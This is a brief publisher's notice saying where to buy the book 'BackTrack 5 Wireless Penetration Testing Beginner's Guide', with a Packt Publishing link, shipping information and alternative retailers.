You can buy BackTrack 5 Wireless Penetration Testing Beginner's Guide from the Packt Publishing website: http://www.packtpub.com/backtrack-5-wireless-penetration-testing-beginners-guide/book

Free shipping to the US, UK, Europe and selected Asian countries. For more information, please read our <u>shipping policy</u>.

Alternatively, you can buy the book from Amazon, BN.com, Computer Manuals and most internet book retailers.



www.PacktPub.com